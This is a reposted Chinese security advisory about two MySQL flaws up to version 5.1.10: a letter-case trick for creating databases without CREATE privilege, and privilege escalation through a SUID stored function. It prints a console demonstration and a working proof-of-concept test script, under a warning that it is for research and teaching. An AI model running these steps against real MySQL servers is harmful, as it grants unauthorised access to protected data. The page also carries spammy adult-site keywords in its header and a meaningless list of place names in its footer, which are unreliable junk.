国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號(hào)

MySQL權(quán)限提升及安全限制繞過(guò)漏洞
2007-02-12   黑客基地

受影響系統(tǒng):

MySQL AB MySQL <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL是一款使用非常廣泛的開放源代碼關(guān)系數(shù)據(jù)庫(kù)系統(tǒng),擁有各種平臺(tái)的運(yùn)行版本。

在MySQL上,擁有訪問(wèn)權(quán)限但無(wú)創(chuàng)建權(quán)限的用戶可以創(chuàng)建與所訪問(wèn)數(shù)據(jù)庫(kù)僅有名稱字母大小寫區(qū)別的新數(shù)據(jù)庫(kù)。成功利用這個(gè)漏洞要求運(yùn)行MySQL的文件系統(tǒng)支持區(qū)分大小寫的文件名。

此外,由于在錯(cuò)誤的安全環(huán)境中計(jì)算了suid例程的參數(shù),攻擊者可以通過(guò)存儲(chǔ)的例程以例程定義者的權(quán)限執(zhí)行任意DML語(yǔ)句。成功攻擊要求用戶對(duì)所存儲(chǔ)例程擁有EXECUTE權(quán)限。

測(cè)試方法:

【警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!】

1、創(chuàng)建數(shù)據(jù)庫(kù)

$ mysql -h my.mysql.server -u sample -p -A sample
Enter password: 
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql> create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql> create database sAmple; 
Query OK, 1 row affected (0.00 sec)

2、權(quán)限提升

--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;

建議:

廠商補(bǔ)丁:MySQL AB

目前廠商已經(jīng)發(fā)布了升級(jí)補(bǔ)丁以修復(fù)這個(gè)安全問(wèn)題,請(qǐng)到廠商的主頁(yè)下載。

熱詞搜索:

上一篇:保護(hù)好我的系統(tǒng) 拒絕WinRar密碼破解
下一篇:安裝配置服務(wù)器失敗的解決

分享到: 收藏
主站蜘蛛池模板: 正安县| 嵊州市| 萝北县| 兰坪| 廉江市| 应城市| 平果县| 互助| 蛟河市| 洮南市| 衡东县| 特克斯县| 游戏| 京山县| 建始县| 宜章县| 三河市| 溧水县| 永泰县| 乌鲁木齐县| 司法| 莲花县| 谷城县| 永平县| 富川| 水富县| 南川市| 石首市| 丰都县| 乌兰察布市| 灌阳县| 双城市| 郓城县| 泰宁县| 武威市| 普定县| 黄冈市| 南部县| 乾安县| 布尔津县| 三明市|